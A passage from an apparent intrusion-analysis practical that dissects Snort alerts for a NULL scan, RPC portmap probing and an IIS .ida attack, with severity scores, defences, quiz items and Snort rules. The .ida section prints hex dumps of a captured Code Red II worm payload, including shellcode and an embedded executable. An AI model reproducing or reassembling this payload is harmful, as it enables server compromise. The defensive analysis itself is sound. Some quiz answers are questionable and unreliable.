Criticality = 3. The victim host in this case is a server that provides web and other services.

Lethality = 2. No attack as such just reconnaissance, so at worst a breach of anonymity.

System Countermeasures = 5. This is relatively secure system with all updated patches and running NIDS and a firewall.

Network Countermeasures = 2. Destination ports such as zero that do not have services running on them should be blocked. A packet filter designed to look for TCP packets with NULL options should be activated on the perimeter.

Severity = (3 + 2)– (5 + 2) = -2. Very minimal risk to the server at this time.

2.9 Defensive recommendations

The router is allowing packets with TCP flags set to NULL and allowing port zero to get through. The router configuration can be improved. A better technique is to install a packet filter on the perimeter between the router and the subnet and program the filter to drop packets with TCP flags set to NULL and restrict ports such as zero. This is has now been done.

2.10 Multiple choice test question

What is the advantage of using NULL scans as opposed to using a program, like ping?

(a). NULL scans will get through routers whereas ICMP messages may be blocked
(b). NULL scans provide a way of spoofing the source IP
(c). NULL scans will evade NIDS in general
(d). Ping is an outdated program and should not be used.
(e). All of the above

Answer: (a).

3. Detect: RPC portmap listing

The following traces are for an exploit that is on the list of twenty most critical Internet security vulnerabilities [6].

```
[**] RPC portmap listing [**]
10/09-00:29:50.206917 161.184.75.137:1020 -> 192.168.1.60:111
TCP TTL:57 TOS:0x0 ID:47052 IpLen:20 DgmLen:96 DF
***AP*** Seq: 0x9759979D  Ack: 0xC8EB018C  Win: 0x7D78  TcpLen: 32
TCP Options (3) => NOP NOP TS: 123497994 9243901
0x0000: 00 50 DA 7B 80 A0 00 04 5A 26 52 5D 08 00 45 00  .P.{....Z&R]..E.
0x0010: 00 60 B7 CC 40 00 39 06 DA A5 A1 B8 4B 89 C0 A8  .`..@.9.....K...
0x0020: 01 3C 03 FC 00 6F 97 59 97 9D C8 EB 01 8C 80 18  .<...o.Y........
0x0030: 7D 78 8F 91 00 00 01 01 08 0A 07 5C 6E 0A 00 8D  }x.........\n...
0x0040: 0C FD 80 00 00 28 2D 7C 05 41 00 00 00 00 00 00  .....(-|.A......
0x0050: 00 02 00 01 86 A0 00 00 00 02 00 00 00 04 00 00  ................
0x0060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00        ..............

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=

[**] RPC portmap request rstatd [**]
10/09-00:29:51.006917 161.184.75.137:692 -> 192.168.1.60:111
UDP TTL:57 TOS:0x0 ID:47145 IpLen:20 DgmLen:84
Len: 64
0x0000: 00 50 DA 7B 80 A0 00 04 5A 26 52 5D 08 00 45 00  .P.{....Z&R]..E.
0x0010: 00 54 B8 29 00 00 39 11 1A 4A A1 B8 4B 89 C0 A8  .T.)..9..J..K...
0x0020: 01 3C 02 B4 00 6F 00 40 B0 57 40 39 4F 20 00 00  .<...o.@.W@9O ..
0x0030: 00 00 00 00 00 02 00 01 86 A0 00 00 00 02 00 00  ................
0x0040: 00 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x0050: 00 00 00 01 86 B8 00 00 00 01 00 00 00 11 00 00  ................
0x0060: 00 00                                            ..

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=
```

3.1 Source of Trace

This trace was captured on a sensor, running on a publicly accessible LAN. The LAN is connected to the Internet via a DSL router. The NIDS was running on a sensor that is one of the hosts on the broadcast subnet. The sensor is running on a Linux machine on a private network connected to the Internet via a DSL router. Two identical copies of each (TCP and UDP) packets were captured.

3.2 Detect was generated by:

Running the latest version of Snort (snort-1.8.1-RELEASE) using the default rule sets provided with the package. This alert was generated by the rpc.rules (IDS 429 and IDS 10) rule file.

If a packet is sent to a higher than 32770 port, and there is no process listening on the port, Snort will log that as an alert bit will not dump the packet to the usual directory under the intruder IP address. An example of such a packet captured on a senor running on a publicly accessible network is shown below.

```
[**] [1:599:1] RPC portmap listing [**]
[Classification: Attempted Information Leak] [Priority: 3]
10/06-19:30:53.696382 65.35.170.153:861 -> x.x.x.x:32768
UDP TTL:56 TOS:0x0 ID:0 IpLen:20 DgmLen:68 DF
Len: 48
[Xref => http://www.whitehats.com/info/IDS429]
```

3.3 Probability that the source address was spoofed

It is highly unlikely that this source IP was spoofed since the source is attempting to obtain a listing of the RPC services available on the server.

3.4 Description of attack

Unix systems that use NFS make use Remote Procedure Calls extensively for executing remote commands. The main program that make this possible are portmapper (also known as rpcbind in Sun SVR4 and other systems using TI-RPC). This program allows clients to register themselves and connect with the well-known ports as well as the ephemeral ports (high-numbered ports, usually greater than 32770) used by the server programs. Clients do so by connecting to well-known port 111 (TCP and UDP) and query the portmapper to find out which ephemeral ports the server is running. Some Unix systems have portmapper/rpcbind also listening on UDP ports greater than 32770 for client requests.

This is the main reason why IDS's see so many probes and scans of port 111 and ports higher than 32770. This also results in access to the portmapper (port 111) usually being blocked at the firewall. However, most firewalls will allow access to UDP ports higher than 32770 so attackers usually also send requests to a UDP port greater than 32770 on which the server is listening. In this way they obtain a listing of RPC services even

though port 111 may be blocked. Other than that, the rest of the fields in both the TCP and UDP packets are normal in so far as regular TCP and UDP transfers are concerned.

3.5 Attack mechanism

There are a large number of readily available exploits for the many vulnerabilities that keep being unearthed in services such as rpcbind and rpcmountd. Older versions Network File Service (NFS) and Network Information Service (NIS) have vulnerabilities in how commands are passed to certain function calls. Once the attacker has all the information on RPC services running on the server it is simply a matter of finding the right exploit and trick the service into executing arbitrary commands on the system with full root privileges.

One widely available tool that generates the above traces is called “h_rpcinfo”. There are variants of this older version as well. The user can select the port that they wish to query and obtain listings of the RPC services offered by the remote server.

The first thing to notice that both the TCP and UDP traces show a source port of less than 1024. This is unusual since those ports are reserved for well-known services. Upon further research [5] it was discovered that there are some Trojans that use these ports, but only as server ports. Further examination of the source code might reveal more details.

The TCP packet is specific to a request sent to obtain port information for RPC services. The payload content (signature) that triggers the alert is: "|**0186A0**|". This is highlighted in the packet payload.

The UDP packet is specific to a query sent to the portmapper to request port information for the rstatd service. The rstatd daemon returns detailed performance statistics from the kernel. These statistics are used by the rpc.lockd daemon. Older, unpatched, versions of this rpc service are vulnerable to buffer overflow attacks allowing remote root access.

3.6 Correlations

These types of scans have been very widely observed and reported. The best information is found at:

http://www.whitehats.com/IDS/429
http://www.whitehats.com/IDS/10

In addition there is an excellent paper describing this issue, titled “Rpcbind and Portmapper” available at:

http://www.sans.org/newlook/resources/IDFAQ/blocking.htm

3.7 Evidence of active targeting

This is active targeting since a specific server was probed with the objective to identifying specific services being offered and then presumable using an exploit to compromise the system.

3.8 Severity

Criticality = 3. The target host is a server that provides web, print, NFS and SAMBA services.

Lethality = 2. No attack as such just reconnaissance, so at worst a breach of anonymity.

System Countermeasures = 4. This is relatively secure system with all updated patches and running NIDS and a firewall but the RPC ports are not being filtered. NFS access does require a password.

Network Countermeasures = 2. Destination ports such as 111 should be blocked. Ensure that rpcbind does not allow proxy access.

Severity = (3 + 2)– (4 + 2) = -1. Low risk to the server at this time.

3.9 Defensive recommendations

Block TCP and UDP port 111, as well as TCP and UDP port 2049 (used by nfsd) at the router or firewall. Also block the RPC "loopback" ports (32770 to 32789) for both TCP and UDP. Ensure that the portmapper does not allow proxy access. Remove all "localhost" entries in the /etc/exports file. Export file systems to fully qualified hostnames i.e., no wildcards in the IP address lists), and only to those hosts that need to have access to files.

Mount file systems to be exported with read only permissions and export file systems with read only permissions. Under no circumstances should file systems be globally mountable. Ensure that all the latest patches are obtained from the appropriate vendor and apply those as soon as they are available.

3.10 Multiple choice test question

The best way to protect against RPC exploits, especially those against NFS is:

(a). Not to run portmapper/rpcbind programs
(b). Restrict portmapper and NFS access to hosts within a perimeter
(c). Block external access to higher than ports 32770
(d). Not run NFS on Windows machines
(e). None of the above

Answer: (c)

4. Detect: WEB-IIS ISAPI .ida attempt

The following traces are for an exploit that is on the list of twenty most critical Internet security vulnerabilities [6].

```
[**] WEB-IIS ISAPI .ida attempt [**]
09/29-14:08:20.226382 217.3.194.108:4238 -> x.x.x.x:80
TCP TTL:113 TOS:0x0 ID:33294 IpLen:20 DgmLen:1500 DF
***A**** Seq: 0xBDA7E674  Ack: 0x711FE831  Win: 0x4470  TcpLen: 20

0x0000: 00 01 02 45 45 5B 00 E0 7B 7E 5A 06 08 00 45 00  ...EE[..{~Z...E.
0x0010: 05 DC 82 0E 40 00 71 06 15 B4 D9 03 C2 6C xx xx  ....@.q......l..
0x0020: xx xx 10 8E 00 50 BD A7 E6 74 71 1F E8 31 50 10  B....P...tq..1P.
0x0030: 44 70 B3 C4 00 00 47 45 54 20 2F 64 65 66 61 75  Dp....GET /defau
0x0040: 6C 74 2E 69 64 61 3F 58 58 58 58 58 58 58 58 58  lt.ida?XXXXXXXXX
0x0050: 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58  XXXXXXXXXXXXXXXX
0x0060: 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58  XXXXXXXXXXXXXXXX
0x0070: 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58  XXXXXXXXXXXXXXXX
0x0080: 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58  XXXXXXXXXXXXXXXX
0x0090: 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58  XXXXXXXXXXXXXXXX
0x00A0: 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58  XXXXXXXXXXXXXXXX
0x00B0: 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58  XXXXXXXXXXXXXXXX
0x00C0: 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58  XXXXXXXXXXXXXXXX
0x00D0: 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58  XXXXXXXXXXXXXXXX
0x00E0: 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58  XXXXXXXXXXXXXXXX
0x00F0: 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58  XXXXXXXXXXXXXXXX
0x0100: 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58  XXXXXXXXXXXXXXXX
0x0110: 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58  XXXXXXXXXXXXXXXX
0x0120: 58 58 58 58 58 58 58 25 75 39 30 39 30 25 75 36  XXXXXXX%u9090%u6
0x0130: 38 35 38 25 75 63 62 64 33 25 75 37 38 30 31 25  858%ucbd3%u7801%
0x0140: 75 39 30 39 30 25 75 36 38 35 38 25 75 63 62 64  u9090%u6858%ucbd
0x0150: 33 25 75 37 38 30 31 25 75 39 30 39 30 25 75 36  3%u7801%u9090%u6
0x0160: 38 35 38 25 75 63 62 64 33 25 75 37 38 30 31 25  858%ucbd3%u7801%
0x0170: 75 39 30 39 30 25 75 39 30 39 30 25 75 38 31 39  u9090%u9090%u819
0x0180: 30 25 75 30 30 63 33 25 75 30 30 30 33 25 75 38  0%u00c3%u0003%u8
0x0190: 62 30 30 25 75 35 33 31 62 25 75 35 33 66 66 25  b00%u531b%u53ff%
0x01A0: 75 30 30 37 38 25 75 30 30 30 30 25 75 30 30 3D  u0078%u0000%u00=
0x01B0: 61 20 20 48 54 54 50 2F 31 2E 30 0D 0A 43 6F 6E  a  HTTP/1.0..Con
0x01C0: 74 65 6E 74 2D 74 79 70 65 3A 20 74 65 78 74 2F  tent-type: text/
0x01D0: 78 6D 6C 0A 43 6F 6E 74 65 6E 74 2D 6C 65 6E 67  xml.Content-leng
0x01E0: 74 68 3A 20 33 33 37 39 20 0D 0A 0D 0A C8 C8 01  th: 3379 .......
0x01F0: 00 60 E8 03 00 00 00 CC EB FE 64 67 FF 36 00 00  .`........dg.6..
0x0200: 64 67 89 26 00 00 E8 DF 02 00 00 68 04 01 00 00  dg.&.......h....
0x0210: 8D 85 5C FE FF FF 50 FF 55 9C 8D 85 5C FE FF FF  ..\...P.U...\...
0x0220: 50 FF 55 98 8B 40 10 8B 08 89 8D 58 FE FF FF FF  P.U..@.....X....
0x0230: 55 E4 3D 04 04 00 00 0F 94 C1 3D 04 08 00 00 0F  U.=.......=.....
0x0240: 94 C5 0A CD 0F B6 C9 89 8D 54 FE FF FF 8B 75 08  .........T....u.
0x0250: 81 7E 30 9A 02 00 00 0F 84 C4 00 00 00 C7 46 30  .~0...........F0
0x0260: 9A 02 00 00 E8 0A 00 00 00 43 6F 64 65 52 65 64  .........CodeRed
0x0270: 49 49 00 8B 1C 24 FF 55 D8 66 0B C0 0F 95 85 38  II...$.U.f.....8
0x0280: FE FF FF C7 85 50 FE FF FF 01 00 00 00 6A 00 8D  .....P.......j..
0x0290: 85 50 FE FF FF 50 8D 85 38 FE FF FF 50 8B 45 08  .P...P..8...P.E.
0x02A0: FF 70 08 FF 90 84 00 00 00 80 BD 38 FE FF FF 01  .p.........8....
```

```
0x02B0: 74 68 53 FF 55 D4 FF 55 EC 01 45 84 69 BD 54 FE  thS.U..U..E.i.T.
0x02C0: FF FF 2C 01 00 00 81 C7 2C 01 00 00 E8 D2 04 00  ..,.....,.......
0x02D0: 00 F7 D0 0F AF C7 89 46 34 8D 45 88 50 6A 00 FF  .......F4.E.Pj..
0x02E0: 75 08 E8 05 00 00 00 E9 01 FF FF FF 6A 00 6A 00  u...........j.j.
0x02F0: FF 55 F0 50 FF 55 D0 4F 75 D2 E8 3B 05 00 00 69  .U.P.U.Ou..;...i
0x0300: BD 54 FE FF FF 00 5C 26 05 81 C7 00 5C 26 05 57  .T....\&....\&.W
0x0310: FF 55 E8 6A 00 6A 16 FF 55 8C 6A FF FF 55 E8 EB  .U.j.j..U.j..U..
0x0320: F9 8B 46 34 29 45 84 6A 64 FF 55 E8 8D 85 3C FE  ..F4)E.jd.U...<.
0x0330: FF FF 50 FF 55 C0 0F B7 85 3C FE FF FF 3D D2 07  ..P.U....<...=..
0x0340: 00 00 73 CF 0F B7 85 3E FE FF FF 83 F8 0A 73 C3  ..s....>......s.
0x0350: 66 C7 85 70 FF FF FF 02 00 66 C7 85 72 FF FF FF  f..p.....f..r...
0x0360: 00 50 E8 64 04 00 00 89 9D 74 FF FF FF 6A 00 6A  .P.d.....t...j.j
0x0370: 01 6A 02 FF 55 B8 83 F8 FF 74 F2 89 45 80 6A 01  .j..U....t..E.j.
0x0380: 54 68 7E 66 04 80 FF 75 80 FF 55 A4 59 6A 10 8D  Th~f...u..U.Yj..
0x0390: 85 70 FF FF FF 50 FF 75 80 FF 55 B0 BB 01 00 00  .p...P.u..U.....
0x03A0: 00 0B C0 74 4B 33 DB FF 55 94 3D 33 27 00 00 75  ...tK3..U.=3'..u
0x03B0: 3F C7 85 68 FF FF FF 0A 00 00 00 C7 85 6C FF FF  ?..h.........l..
0x03C0: FF 00 00 00 00 C7 85 60 FF FF FF 01 00 00 00 8B  .......`........
0x03D0: 45 80 89 85 64 FF FF FF 8D 85 68 FF FF FF 50 6A  E...d.....h...Pj
0x03E0: 00 8D 85 60 FF FF FF 50 6A 00 6A 01 FF 55 A0 93  ...`...Pj.j..U..
0x03F0: 6A 00 54 68 7E 66 04 80 FF 75 80 FF 55 A4 59 83  j.Th~f...u..U.Y.
0x0400: FB 01 75 31 E8 00 00 00 00 58 2D D3 03 00 00 6A  ..u1.....X-....j
0x0410: 00 68 EA 0E 00 00 50 FF 75 80 FF 55 AC 3D EA 0E  .h....P.u..U.=..
0x0420: 00 00 75 11 6A 00 6A 01 8D 85 5C FE FF FF 50 FF  ..u.j.j...\...P.
0x0430: 75 80 FF 55 A8 FF 75 80 FF 55 B4 E9 E7 FE FF FF  u..U..u..U......
0x0440: BB 00 00 DF 77 81 C3 00 00 01 00 81 FB 00 00 00  ....w...........
0x0450: 78 75 05 BB 00 00 F0 BF 60 E8 0E 00 00 00 8B 64  xu......`......d
0x0460: 24 08 64 67 8F 06 00 00 58 61 EB D9 64 67 FF 36  $.dg....Xa..dg.6
0x0470: 00 00 64 67 89 26 00 00 66 81 3B 4D 5A 75 E3 8B  ..dg.&..f.;MZu..
0x0480: 4B 3C 81 3C 0B 50 45 00 00 75 D7 8B 54 0B 78 03  K<.<.PE..u..T.x.
0x0490: D3 8B 42 0C 81 3C 03 4B 45 52 4E 75 C5 81 7C 03  ..B..<.KERNu..|.
0x04A0: 04 45 4C 33 32 75 BB 33 C9 49 8B 72 20 03 F3 FC  .EL32u.3.I.r ...
0x04B0: 41 AD 81 3C 03 47 65 74 50 75 F5 81 7C 03 04 72  A..<.GetPu..|..r
0x04C0: 6F 63 41 75 EB 03 4A 10 49 D1 E1 03 4A 24 0F B7  ocAu..J.I...J$..
0x04D0: 0C 0B C1 E1 02 03 4A 1C 8B 04 0B 03 C3 89 44 24  ......J.......D$
0x04E0: 24 64 67 8F 06 00 00 58 61 C3 E8 51 FF FF FF 89  $dg....Xa..Q....
0x04F0: 5D FC 89 45 F8 E8 0D 00 00 00 4C 6F 61 64 4C 69  ]..E......LoadLi
0x0500: 62 72 61 72 79 41 00 FF 75 FC FF 55 F8 89 45 F4  braryA..u..U..E.
0x0510: E8 0D 00 00 00 43 72 65 61 74 65 54 68 72 65 61  .....CreateThrea
0x0520: 64 00 FF 75 FC FF 55 F8 89 45 F0 E8 0D 00 00 00  d..u..U..E......
0x0530: 47 65 74 54 69 63 6B 43 6F 75 6E 74 00 FF 75 FC  GetTickCount..u.
0x0540: FF 55 F8 89 45 EC E8 06 00 00 00 53 6C 65 65 70  .U..E......Sleep
0x0550: 00 FF 75 FC FF 55 F8 89 45 E8 E8 17 00 00 00 47  ..u..U..E......G
0x0560: 65 74 53 79 73 74 65 6D 44 65 66 61 75 6C 74 4C  etSystemDefaultL
0x0570: 61 6E 67 49 44 00 FF 75 FC FF 55 F8 89 45 E4 E8  angID..u..U..E..
0x0580: 14 00 00 00 47 65 74 53 79 73 74 65 6D 44 69 72  ....GetSystemDir
0x0590: 65 63 74 6F 72 79 41 00 FF 75 FC FF 55 F8 89 45  ectoryA..u..U..E
0x05A0: E0 E8 0A 00 00 00 43 6F 70 79 46 69 6C 65 41 00  ......CopyFileA.
0x05B0: FF 75 FC FF 55 F8 89 45 DC E8 10 00 00 00 47 6C  .u..U..E......Gl
0x05C0: 6F 62 61 6C 46 69 6E 64 41 74 6F 6D 41 00 FF 75  obalFindAtomA..u
0x05D0: FC FF 55 F8 89 45 D8 E8 0F 00 00 00 47 6C 6F 62  ..U..E......Glob
0x05E0: 61 6C 41 64 64 41 74 6F 6D 41                    alAddAtomA
```

=+=

```
[**] WEB-IIS cmd.exe access [**]
09/29-14:08:20.226382 217.3.194.108:4238 -> x.x.x.x:80
TCP TTL:113 TOS:0x0 ID:33295 IpLen:20 DgmLen:1500 DF
***A**** Seq: 0xBDA7EC28  Ack: 0x711FE831  Win: 0x4470  TcpLen: 20

0x0000: 00 01 02 45 45 5B 00 E0 7B 7E 5A 06 08 00 45 00  ...EE[..{~Z...E.
0x0010: 05 DC 82 0F 40 00 71 06 15 B3 D9 03 C2 6C xx xx  ....@.q.....l..
0x0020: xx xx 10 8E 00 50 BD A7 EC 28 71 1F E8 31 50 10  B....P...(q..1P.
0x0030: 44 70 6A 45 00 00 00 FF 75 FC FF 55 F8 89 45 D4  DpjE....u..U..E.
0x0040: E8 0C 00 00 00 43 6C 6F 73 65 48 61 6E 64 6C 65  .....CloseHandle
0x0050: 00 FF 75 FC FF 55 F8 89 45 D0 E8 08 00 00 00 5F  ..u..U..E......_
0x0060: 6C 63 72 65 61 74 00 FF 75 FC FF 55 F8 89 45 CC  lcreat..u..U..E.
0x0070: E8 08 00 00 00 5F 6C 77 72 69 74 65 00 FF 75 FC  ....._lwrite..u.
0x0080: FF 55 F8 89 45 C8 E8 08 00 00 00 5F 6C 63 6C 6F  .U..E....._lclo
0x0090: 73 65 00 FF 75 FC FF 55 F8 89 45 C4 E8 0E 00 00  se..u..U..E.....
0x00A0: 00 47 65 74 53 79 73 74 65 6D 54 69 6D 65 00 FF  .GetSystemTime..
0x00B0: 75 FC FF 55 F8 89 45 C0 E8 0B 00 00 00 57 53 32  u..U..E......WS2
0x00C0: 5F 33 32 2E 44 4C 4C 00 FF 55 F4 89 45 BC E8 07  _32.DLL..U..E...
0x00D0: 00 00 00 73 6F 63 6B 65 74 00 FF 75 BC FF 55 F8  ...socket..u..U.
0x00E0: 89 45 B8 E8 0C 00 00 00 63 6C 6F 73 65 73 6F 63  .E......closesoc
0x00F0: 6B 65 74 00 FF 75 BC FF 55 F8 89 45 B4 E8 0C 00  ket..u..U..E....
0x0100: 00 00 69 6F 63 74 6C 73 6F 63 6B 65 74 00 FF 75  ..ioctlsocket..u
0x0110: BC FF 55 F8 89 45 A4 E8 08 00 00 00 63 6F 6E 6E  ..U..E......conn
0x0120: 65 63 74 00 FF 75 BC FF 55 F8 89 45 B0 E8 07 00  ect..u..U..E....
0x0130: 00 00 73 65 6C 65 63 74 00 FF 75 BC FF 55 F8 89  ..select..u..U..
0x0140: 45 A0 E8 05 00 00 00 73 65 6E 64 00 FF 75 BC FF  E.......send..u..
0x0150: 55 F8 89 45 AC E8 05 00 00 00 72 65 63 76 00 FF  U..E......recv..
0x0160: 75 BC FF 55 F8 89 45 A8 E8 0C 00 00 00 67 65 74  u..U..E......get
0x0170: 68 6F 73 74 6E 61 6D 65 00 FF 75 BC FF 55 F8 89  hostname..u..U..
0x0180: 45 9C E8 0E 00 00 00 67 65 74 68 6F 73 74 62 79  E......gethostby
0x0190: 6E 61 6D 65 00 FF 75 BC FF 55 F8 89 45 98 E8 10  name..u..U..E...
0x01A0: 00 00 00 57 53 41 47 65 74 4C 61 73 74 45 72 72  ...WSAGetLastErr
0x01B0: 6F 72 00 FF 75 BC FF 55 F8 89 45 94 E8 0B 00 00  or..u..U..E.....
0x01C0: 00 55 53 45 52 33 32 2E 44 4C 4C 00 FF 55 F4 89  .USER32.DLL..U..
0x01D0: 45 90 E8 0E 00 00 00 45 78 69 74 57 69 6E 64 6F  E......ExitWindo
0x01E0: 77 73 45 78 00 FF 75 90 FF 55 F8 89 45 8C C3 8B  wsEx..u..U..E...
0x01F0: 45 84 69 C0 05 84 08 08 40 89 45 84 8D 84 04 78  E.i.....@.E....x
0x0200: 56 34 12 F7 D8 C1 C0 08 C3 E8 E1 FF FF FF 3C 00  V4..........<.
0x0210: 74 F7 3C FF 74 F3 C3 E8 ED FF FF FF 8A F8 E8 E6  t.<.t...........
0x0220: FF FF FF 8A D8 C1 E3 10 E8 DC FF FF FF 8A F8 E8  ................
0x0230: D5 FF FF FF 8A D8 E8 B4 FF FF FF 83 E0 07 E8 20  ...............
0x0240: 00 00 00 FF FF FF FF 00 FF FF FF 00 FF FF FF 00  ................
0x0250: FF FF FF 00 FF FF FF 00 00 FF FF 00 00 FF FF 00  ................
0x0260: 00 FF FF 59 8B 04 81 23 D8 F7 D0 23 85 58 FE FF  ...Y...#...#.X..
0x0270: FF 0B D8 80 FB 7F 74 9F 80 FB E0 74 9A 3B 9D 58  ......t....t.;.X
0x0280: FE FF FF 74 92 C3 68 04 01 00 00 8D 85 5C FE FF  ...t..h......\..
0x0290: FF 50 FF 55 E0 8D BC 05 5C FE FF FF E8 09 00 00  .P.U....\.......
0x02A0: 00 5C 43 4D 44 2E 45 58 45 00 5E FC A5 A5 A4 B3  .\CMD.EXE.^.....
0x02B0: 63 6A 01 E8 1C 00 00 00 64 3A 5C 69 6E 65 74 70  cj......d:\inetp
0x02C0: 75 62 5C 73 63 72 69 70 74 73 5C 72 6F 6F 74 2E  ub\scripts\root.
0x02D0: 65 78 65 00 8B 0C 24 88 19 8D 85 5C FE FF FF 50  exe...$....\...P
0x02E0: FF 55 DC 6A 01 E8 2B 00 00 00 64 3A 5C 70 72 6F  .U.j..+...d:\pro
0x02F0: 67 72 61 7E 31 5C 63 6F 6D 6D 6F 6E 7E 31 5C 73  gra~1\common~1\s
```

```
0x0300: 79 73 74 65 6D 5C 4D 53 41 44 43 5C 72 6F 6F 74  ystem\MSADC\root
0x0310: 2E 65 78 65 00 8B 0C 24 88 19 8D 85 5C FE FF FF  .exe...$....\...
0x0320: 50 FF 55 DC E8 BA 05 00 00 FC 4D 5A 50 00 02 00  P.U.......MZP...
0x0330: 00 00 04 00 0F 00 FF FF 00 00 B8 00 00 00 00 00  ................
0x0340: 00 00 40 00 1A FC 00 00 01 FC FC FC FC FC FC 00  ..@.............
0x0350: 00 50 45 00 00 4C 01 03 00 FD 2A 25 29 00 00 00  .PE..L....*%)...
0x0360: 00 00 00 00 00 E0 00 8F 81 0B 01 02 19 00 04 00  ................
0x0370: 00 00 08 00 00 00 00 00 00 00 10 00 00 00 10 00  ................
0x0380: 00 00 20 00 00 00 00 40 00 00 10 00 00 00 04 00  .. ....@........
0x0390: 00 01 00 00 00 00 00 00 00 03 00 0A 00 00 00 00  ................
0x03A0: 00 00 40 00 00 00 04 00 00 00 00 00 00 02 00 00  ..@.............
0x03B0: 00 00 00 10 00 00 20 00 00 00 00 10 00 00 10 00  ...... .........
0x03C0: 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00  ................
0x03D0: 00 00 30 00 00 0C 01 FC FC FC 00 00 00 00 00 00  ..0.............
0x03E0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x03F0: 00 00 00 00 00 10 00 00 00 10 00 00 00 04 00 00  ................
0x0400: 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x0410: 20 00 00 60 00 00 00 00 00 00 00 00 00 10 00 00   ..`............
0x0420: 00 20 00 00 00 04 00 00 00 0C 00 00 00 00 00 00  . ..............
0x0430: 00 00 00 00 00 00 00 00 40 00 00 C0 00 00 00 00  ........@.......
0x0440: 00 00 00 00 00 10 00 00 00 30 00 00 00 04 00 00  .........0......
0x0450: 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x0460: 40 00 00 C0 FC FC FC FC FC FC FC FC FC FC FC FC  @...............
0x0470: FC FC FC FC FC FC FC FC FC FC FC FC FC FC FC FC  ................
0x0480: FC FC FC FC FC FC FC FC FC FC FC FC FC FC FC FC  ................
0x0490: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x04A0: 68 04 01 00 00 68 D0 20 40 00 E8 61 01 00 00 8D  h....h. @..a....
0x04B0: B8 D0 20 40 00 BE 00 20 40 00 A5 A5 A5 A5 6A 01  .. @... @.....j.
0x04C0: 68 D0 20 40 00 E8 4C 01 00 00 E8 0C 00 00 00 68  h. @..L........h
0x04D0: C0 27 09 00 E8 31 01 00 00 EB EF 68 D8 24 40 00  .'...1.....h.$@.
0x04E0: 68 3F 00 0F 00 6A 00 68 10 20 40 00 68 02 00 00  h?...j.h. @.h...
0x04F0: 80 E8 32 01 00 00 0B C0 75 26 6A 04 68 54 20 40  ..2.....u&j.hT @
0x0500: 00 6A 04 6A 00 68 48 20 40 00 FF 35 D8 24 40 00  .j.j.hH @..5.$@.
0x0510: E8 0D 01 00 00 FF 35 D8 24 40 00 E8 0E 01 00 00  ......5.$@......
0x0520: 68 D8 24 40 00 68 3F 00 0F 00 6A 00 68 58 20 40  h.$@.h?...j.hX @
0x0530: 00 68 02 00 00 80 E8 ED 00 00 00 0B C0 75 55 BD  .h...........uU.
0x0540: 9C 20 40 00 E8 4C 00 00 00 BD A8 20 40 00 E8 42  . @..L..... @..B
0x0550: 00 00 00 6A 09 68 B8 20 40 00 6A 01 6A 00 68 B0  ...j.h. @.j.j.h.
0x0560: 20 40 00 FF 35 D8 24 40 00 E8 B4 00 00 00 6A 09   @..5.$@......j.
0x0570: 68 C4 20 40 00 6A 01 6A 00 68 B4 20 40 00 FF 35  h. @.j.j.h. @..5
0x0580: D8 24 40 00 E8 99 00 00 00 FF 35 D8 24 40 00 E8  .$@.......5.$@..
0x0590: 9A 00 00 00 C3 C7 05 D0 24 40 00 00 04 00 00 68  ........$@.....h
0x05A0: D0 24 40 00 68 D0 20 40 00 68 D4 24 40 00 6A 00  .$@.h. @.h.$@.j.
0x05B0: 55 FF 35 D8 24 40 00 E8 60 00 00 00 0B C0 75 49  U.5.$@..`.....uI
0x05C0: A1 D0 24 40 00 0B C0 74 40 BE D0 20 40 00 80 3E  ..$@...t@.. @..>
0x05D0: 00 74 36 46 66 81 7E FE 2C 2C 75 F2 C7 06 32 31  .t6Ff.~.,,u...21
0x05E0: 37 00 81 EE CC 20 40 00 89 35                    7.... @..5
```

=+=

4.1 Source of Trace

This trace was captured on a sensor, running on a publicly accessible subnet. The subnet is connected to the backbone via a router. The NIDS was running on the server that the attack was directed towards. The network has Apache and IIS servers running on it. The machine on which this trace was captured is a Linux machine running Apache.

4.2 Detect was generated by:

Running the latest version of Snort (snort-1.8.1-RELEASE) using the default rule sets provided with the package. This alert was generated by the following rules in the **web-iis.rules** rule file.

```
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS 80 (
        msg:"WEB-IIS ISAPI .ida
        attempt"; uricontent:".ida?"; nocase; dsize:>239; flags:A+;
        reference:arachnids,552; classtype:attempted-admin; reference:cve,CAN-2000-
        0071; sid:1243; rev:1;
)

alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS 80 (
        msg:"WEB-IIS cmd.exe access";
        flags: A+; content:"cmd.exe"; nocase; classtype:attempted-user; sid:1002; rev:1;
)
```

4.3 Probability that the source address was spoofed

The exploit involves establishing a TCP connection to the victim host and opening up a command window so the IP address cannot be spoofed.

4.4 Description of attack

